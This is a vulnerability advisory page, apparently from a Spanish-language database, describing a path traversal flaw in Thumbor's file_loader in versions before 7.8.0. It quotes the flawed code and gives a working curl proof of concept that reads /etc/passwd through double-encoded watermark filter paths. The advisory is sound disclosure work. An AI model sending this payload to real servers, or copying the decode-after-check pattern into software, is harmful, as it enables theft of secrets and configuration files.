Thumbor has path traversal via post-validation URL decoding bypass in file_loader
The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.
Affected code
thumbor/loaders/file_loader.py lines 28-49:
async def load(context, path):
file_path = join(
context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
)
file_path = abspath(file_path)
inside_root_path = file_path.startswith( # Security check
abspath(context.config.FILE_LOADER_ROOT_PATH)
)
result = LoaderResult()
if not inside_root_path:
result.error = LoaderResult.ERROR_NOT_FOUND
result.successful = False
return result
if not exists(file_path):
file_path = unquote(file_path) # unquote AFTER check!
if exists(file_path) and isfile(file_path):
with open(file_path, "rb") as source_file:
...
The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).
PoC
# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'
Flow:
%252e%252earrives at Tornado, decoded to%2e%2e- Watermark filter passes
%2e%2e/%2e%2e/.../etc/passwdto file_loader join(ROOT, '%2e%2e/...')=ROOT/%2e%2e/...abspath()sees%2e%2eas literal dir name (no dots to resolve)startswith(ROOT)= True (passes check)exists()returns False (literal%2e%2edir doesn't exist)unquote()converts%2e%2eto..- OS resolves
..→ reads files outside ROOT
Prerequisites
LOADER = thumbor.loaders.file_loader(orfile_loader_http_fallback)ALLOW_UNSAFE_URL = True(this is the default)- watermark/frame filters are enabled by default (in BUILTIN_FILTERS)
Impact
Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | thumbor | < 7.8.0 | 7.8.0 |
Referencias
- https://github.com/thumbor/thumbor/security/advisories/GHSA-cj54-hpcc-gj6h
- https://github.com/thumbor/thumbor/commit/3b986d13677b30fe6651c8c72ebb25957ac0a40d
- https://github.com/thumbor/thumbor
- https://github.com/thumbor/thumbor/releases/tag/7.8.0
- https://pypi.org/project/thumbor
- https://github.com/advisories/GHSA-cj54-hpcc-gj6h
- https://nvd.nist.gov/vuln/detail/CVE-2026-53502
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-22- Plataforma
- Python (PyPI)
- Paquete
thumbor- Publicada
- 31.07.2026
- Actualizado
- 11.10.2026 14:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-3618 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-cj54-hpcc-gj6h - CC BY 4.0
Historial de vulnerabilidades: thumbor
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 07.2026 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 6
Divulgaciones por año
- 2026: 6
-
Thumbor has path traversal via post-validation URL decoding bypass in file_loader esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.